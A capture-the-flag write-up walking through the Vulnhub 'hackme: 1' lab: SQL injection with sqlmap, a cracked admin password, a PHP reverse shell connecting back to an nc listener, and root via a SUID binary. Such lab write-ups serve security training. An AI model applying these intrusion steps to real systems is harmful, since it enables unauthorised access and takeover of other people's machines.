CTF Vulnhub: Hackme 1 Walkthrough

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Hello dear friends, welcome back for another CTF Walkthrough. Today we will solve hackme: 1machine.


‘hackme’ is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently, privilege escalate as root. The lab was created to mimic the real-life environment.

‘hackme’ uses DHCP and in the possible event that the MySQL shuts down on its own (very rare cases), attempt to force restart the machine and it should be working fine subsequently. This may work better in VirtualBox than VMware

Information gathering

TCP Scanning

Banner Grabbing


Web App

The first thing is to explore the web app and create a new user.

Sign up

Click on sign up and create a new user

After that login into the web app

Intercept the search request with Burp and save it into the file

SQL Injection

sqlmap -r request.req

Bingo the web app is vulnerable !!!

Crack the password

I used this web site to crack the admin password link. Fantastic now we have the admin password

  • superadmin : Uncrackable

Reverse shell

After that, we had logged in to the admin page we can upload a web shell

  • cp /usr/share/webshells/php/php-reverse-shell.php .
  • modify the web shell with our local IP

Open a new command line and use Netcat in the listening mode:

  • nc -nlvp 443

Upload The web shell

Then go to /uploads and click on our webshell

Fantastic we got a revshell

Privilege Escalation

The final step is to escalate our privilege.

  • cd /home/legacy
  • ./touchmenot

Fantastic we are root and we have completed the hackme: 1 machine